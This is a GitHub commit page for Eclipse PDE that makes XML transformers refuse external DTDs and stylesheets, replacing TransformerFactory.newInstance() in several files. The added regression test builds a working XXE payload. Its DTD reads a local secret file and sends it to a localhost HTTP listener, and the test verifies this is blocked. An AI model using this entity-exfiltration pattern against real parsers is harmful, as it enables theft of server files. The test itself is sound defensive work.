Skip to content

Commit

Permalink
Format xml without external entity resolution
Browse files Browse the repository at this point in the history
External entity resolution is not supported by PDE (see
PDECoreMessages.XMLErrorReporter_ExternalEntityResolution).
PDE should not contact or even inject external sources into formatted
xml.
  • Loading branch information
EcljpseB0T authored and jukzi committed Jul 10, 2023
1 parent 0abc73b commit 7dd409f
Show file tree
Hide file tree
Showing 9 changed files with 207 additions and 8 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -45,10 +45,12 @@
import org.eclipse.pde.api.tools.ui.internal.ApiUIPlugin;
import org.eclipse.pde.api.tools.ui.internal.IApiToolsConstants;
import org.eclipse.pde.api.tools.ui.internal.views.APIToolingView;
import org.eclipse.pde.internal.core.util.XmlTransformerFactory;

/**
* Drop-down action to select the active session.
*/
@SuppressWarnings("restriction")
public class ExportSessionAction extends Action {
private static final String DELTAS_XSLT_TRANSFORM_PATH = "/compare.xsl"; //$NON-NLS-1$
private static final String XML_FILE_EXTENSION = ".xml"; //$NON-NLS-1$
Expand Down Expand Up @@ -153,9 +155,8 @@ protected IStatus run(IProgressMonitor monitor) {
}
writer = new BufferedWriter(new FileWriter(reportFile));
Result result = new StreamResult(writer);
// create an instance of TransformerFactory
TransformerFactory transFact = TransformerFactory.newInstance();
Transformer trans = transFact.newTransformer(xsltSource);
TransformerFactory f = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
Transformer trans = f.newTransformer(xsltSource);
trans.transform(xmlSource, result);
} catch (TransformerException | IOException e) {
ApiUIPlugin.log(e);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,7 @@
import org.eclipse.pde.api.tools.internal.provisional.search.IMetadata;
import org.eclipse.pde.api.tools.internal.util.Signatures;
import org.eclipse.pde.api.tools.internal.util.Util;
import org.eclipse.pde.internal.core.util.XmlTransformerFactory;
import org.osgi.framework.Version;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
Expand Down Expand Up @@ -820,7 +821,7 @@ protected void applyXSLT(File xsltFile, File xmlfile, File htmloutput) throws Tr
protected void applyXSLT(Source xslt, File xmlfile, File htmlfile) throws TransformerException {
Source xml = new StreamSource(xmlfile);
Result html = new StreamResult(htmlfile);
TransformerFactory factory = TransformerFactory.newInstance();
TransformerFactory factory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
Transformer former = factory.newTransformer(xslt);
former.transform(xml, html);
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -141,6 +141,7 @@
import org.eclipse.pde.api.tools.internal.provisional.problems.IApiProblem;
import org.eclipse.pde.api.tools.internal.provisional.problems.IApiProblemTypes;
import org.eclipse.pde.api.tools.internal.search.SkippedComponent;
import org.eclipse.pde.internal.core.util.XmlTransformerFactory;
import org.objectweb.asm.Opcodes;
import org.osgi.framework.Version;
import org.w3c.dom.Document;
Expand All @@ -153,6 +154,7 @@
*
* @since 1.0.0
*/
@SuppressWarnings("restriction")
public final class Util {

public static final String DOT_TGZ = ".tgz"; //$NON-NLS-1$
Expand Down Expand Up @@ -1900,7 +1902,7 @@ public static InputStream getInputStreamFromString(String string) {
public static String serializeDocument(Document document) throws CoreException {
try {
ByteArrayOutputStream s = new ByteArrayOutputStream();
TransformerFactory factory = TransformerFactory.newInstance();
TransformerFactory factory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
Transformer transformer = factory.newTransformer();
transformer.setOutputProperty(OutputKeys.METHOD, "xml"); //$NON-NLS-1$
transformer.setOutputProperty(OutputKeys.INDENT, "yes"); //$NON-NLS-1$
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -69,6 +69,7 @@
import org.eclipse.pde.core.target.TargetBundle;
import org.eclipse.pde.core.target.TargetFeature;
import org.eclipse.pde.internal.core.PDECore;
import org.eclipse.pde.internal.core.util.XmlTransformerFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;

Expand Down Expand Up @@ -733,7 +734,8 @@ public String serialize() {
try {
document.appendChild(containerElement);
StreamResult result = new StreamResult(new StringWriter());
Transformer transformer = TransformerFactory.newInstance().newTransformer();
TransformerFactory f = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
Transformer transformer = f.newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); //$NON-NLS-1$
transformer.transform(new DOMSource(document), result);
return result.getWriter().toString();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,7 @@
import org.eclipse.pde.core.target.ITargetPlatformService;
import org.eclipse.pde.internal.core.ICoreConstants;
import org.eclipse.pde.internal.core.PDECore;
import org.eclipse.pde.internal.core.util.XmlTransformerFactory;
import org.w3c.dom.DOMException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
Expand Down Expand Up @@ -123,7 +124,7 @@ public static void persistXML(ITargetDefinition definition, OutputStream output)
return;
}
StreamResult outputTarget = new StreamResult(output);
TransformerFactory factory = TransformerFactory.newInstance();
TransformerFactory factory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
Transformer transformer = factory.newTransformer();
transformer.setOutputProperty(OutputKeys.METHOD, "xml"); //$NON-NLS-1$
transformer.setOutputProperty(OutputKeys.INDENT, "yes"); //$NON-NLS-1$
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@
import org.eclipse.pde.core.target.ITargetLocationFactory;
import org.eclipse.pde.core.target.NameVersionDescriptor;
import org.eclipse.pde.internal.core.PDECore;
import org.eclipse.pde.internal.core.util.XmlTransformerFactory;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
Expand Down Expand Up @@ -250,7 +251,8 @@ private static ITargetLocation deserializeBundleContainer(Element location) thro
throw new CoreException(Status.error(NLS.bind(Messages.TargetPersistence38Helper_NoTargetLocationExtension, type)));
}
StreamResult result = new StreamResult(new StringWriter());
Transformer transformer = TransformerFactory.newInstance().newTransformer();
TransformerFactory factory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
Transformer transformer = factory.newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); //$NON-NLS-1$
transformer.transform(new DOMSource(location), result);
container = locFactory.getTargetLocation(type, result.getWriter().toString());
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
/*******************************************************************************
* Copyright (c) 2023 Joerg Kubitz and others.
*
* This program and the accompanying materials
* are made available under the terms of the Eclipse Public License 2.0
* which accompanies this distribution, and is available at
* https://www.eclipse.org/legal/epl-2.0/
*
* SPDX-License-Identifier: EPL-2.0
*******************************************************************************/
package org.eclipse.pde.internal.core.util;

import javax.xml.XMLConstants;
import javax.xml.transform.TransformerFactory;

public class XmlTransformerFactory {
private XmlTransformerFactory() {
// static Utility only
}

public static TransformerFactory createTransformerFactoryWithErrorOnDOCTYPE() {
TransformerFactory factory = TransformerFactory.newInstance();
// prohibit the use of all protocols by external entities:
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); //$NON-NLS-1$
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); //$NON-NLS-1$
return factory;
}


}
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
@RunWith(Suite.class)
@SuiteClasses({ //
DependencyManagerTest.class, //
XmlTransformerTest.class, //
WorkspaceModelManagerTest.class, //
WorkspaceProductModelManagerTest.class, //
})
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,159 @@
/*******************************************************************************
* Copyright (c) 2023 Joerg Kubitz and others.
*
* This program and the accompanying materials
* are made available under the terms of the Eclipse Public License 2.0
* which accompanies this distribution, and is available at
* https://www.eclipse.org/legal/epl-2.0/
*
* SPDX-License-Identifier: EPL-2.0
*******************************************************************************/
package org.eclipse.pde.core.tests.internal;

import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URI;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.function.IntFunction;

import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;

import org.eclipse.pde.internal.core.util.XmlTransformerFactory;
import org.junit.Test;
public class XmlTransformerTest {

List<Path> tmpFiles = new ArrayList<>();

@Test
public void testTransformXmlWithExternalEntity() throws Exception {
TransformerFactory transformerFactory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
try {
testParseXmlWithExternalEntity(transformerFactory, this::createMalciousXml);
assertTrue("TransformerException expected", false);
} catch (TransformerException e) {
String message = e.getMessage();
assertTrue(message, message.contains("DTD"));
}
}

@Test
public void testTransformXmlWithoutExternalEntity() throws Exception {
TransformerFactory transformerFactory = XmlTransformerFactory.createTransformerFactoryWithErrorOnDOCTYPE();
testParseXmlWithExternalEntity(transformerFactory, this::createNormalXml);
}


InputStream createMalciousXml(int localPort) {
try {
Path tempSecret = Files.createTempFile("test", ".txt");
tmpFiles.add(tempSecret);
Files.writeString(tempSecret, "secret");
Path tempDtd = Files.createTempFile("test", ".dtd");
tmpFiles.add(tempDtd);
String dtdContent = "<!ENTITY % var1 SYSTEM \"" + tempSecret.toUri().toURL() + "\">\n" //
+ "<!ENTITY var4 SYSTEM \"" + tempSecret.toUri().toURL() + "\">\n" //
+ "<!ENTITY % var2 \"<!ENTITY var3 SYSTEM 'http://localhost:" + localPort + "/?%var1;'>\">\n" //
+ "%var2;\n";
Files.writeString(tempDtd, dtdContent);
StringBuilder sb = new StringBuilder();
sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
URI dtdURi = tempDtd.toUri();
String dtdUrl = dtdURi.toURL().toString();
sb.append("<!DOCTYPE var1 SYSTEM \"" + dtdUrl + "\">\n");
sb.append("<Body>&var3;&var4;</Body>");
String xml = sb.toString();
return new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
} catch (IOException e) {
throw new RuntimeException(e);
}
}

InputStream createNormalXml(int localPort) {
StringBuilder sb = new StringBuilder();
sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
sb.append("<Body>hello</Body>");
String xml = sb.toString();
return new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
}

private void cleanup() throws IOException {
for (Path path : tmpFiles) {
Files.delete(path);
}
}

public void testParseXmlWithExternalEntity(TransformerFactory transformerFactory,
IntFunction<InputStream> xmlSupplier)
throws Exception {
Collection<Throwable> exceptionsInOtherThreads = new ConcurrentLinkedQueue<>();
Thread httpServerThread = null;
try (ServerSocket serverSocket = new ServerSocket(0)) {
int localPort = serverSocket.getLocalPort();
httpServerThread = new Thread("httpServerThread") {
@Override
public void run() {
try (Socket socket = serverSocket.accept()) {
try (BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()))) {
String firstLine = in.readLine();
try (OutputStream outputStream = socket.getOutputStream()) {
outputStream.write("HTTP/1.1 200 OK\r\n".getBytes(StandardCharsets.UTF_8));
}
assertTrue(firstLine, firstLine.startsWith("GET"));
assertFalse("Server received secret: " + firstLine, firstLine.contains("secret")); // var3
assertFalse("Server was contacted", true);
}
} catch (SocketException closed) {
// expected
} catch (Throwable e) {
exceptionsInOtherThreads.add(e);
}
}
};
httpServerThread.start();
String formatted;

try (InputStream xmlStream = xmlSupplier.apply(localPort)) {
Transformer xformer = transformerFactory.newTransformer();
Source source = new StreamSource(xmlStream);
try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
Result result = new StreamResult(outputStream);
xformer.transform(source, result);
formatted = outputStream.toString(StandardCharsets.UTF_8);
}
}
assertTrue(formatted, formatted.contains("<Body>"));
assertFalse("Formatter injected secret: " + formatted, formatted.contains("secret"));
} finally {
cleanup();
}
httpServerThread.join(5000);
assertFalse(httpServerThread.isAlive());
for (Throwable e : exceptionsInOtherThreads) {
throw new InvocationTargetException(e, e.getMessage());
}
}
}

0 comments on commit 7dd409f

Please sign in to comment.